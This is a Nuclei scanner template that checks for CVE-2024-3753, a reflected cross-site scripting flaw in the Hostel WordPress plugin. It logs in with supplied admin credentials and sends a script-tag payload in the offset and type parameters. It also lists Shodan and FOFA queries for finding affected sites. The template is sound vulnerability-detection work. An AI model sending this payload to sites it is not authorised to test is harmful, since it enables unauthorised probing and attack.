CVE-2024-3753: Hostel < 1.1.5.3 - Cross-Site Scripting

id: CVE-2024-3753

info:
  name: Hostel < 1.1.5.3 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The Hostel WordPress plugin before 1.1.5.3 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
  impact: |
    Attackers can potentially exploit this XSS vulnerability to gain unauthorized access to sensitive information.
  remediation: |
    Update the plugin to Latest version. Fixed in 1.1.5.3.
  reference:
    - https://wpscan.com/vulnerability/e140e109-4176-4b26-bf63-198262a31409/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3753
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 5.9
    cve-id: CVE-2024-3753
    cwe-id: CWE-79
    epss-score: 0.00572
    epss-percentile: 0.67722
    cpe: cpe:2.3:a:kibokolabs:hostel:*:*:*:*:wordpress:*:*:*
  metadata:
    max-request: 3
    fofa-query: body="/wp-content/plugins/hostel"
    publicwww-query: /wp-content/plugins/hostel/
    shodan-query: http.html:"/wp-content/plugins/hostel/"
  tags: cve,cve2024,wp,wordpress,wp-plugin,hostel,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "/wp-content/plugins/hostel"
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        GET /wp-admin/admin.php?page=wphostel_bookings&do=edit&id=&type=upcoming&offset="><script>alert(document.domain)<%2Fscript>&type="><script>alert(document.domain)<%2Fscript> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '"><script>alert(document.domain)</script>'

      - type: word
        part: content_type_2
        words:
          - text/html

      - type: status
        status:
          - 200
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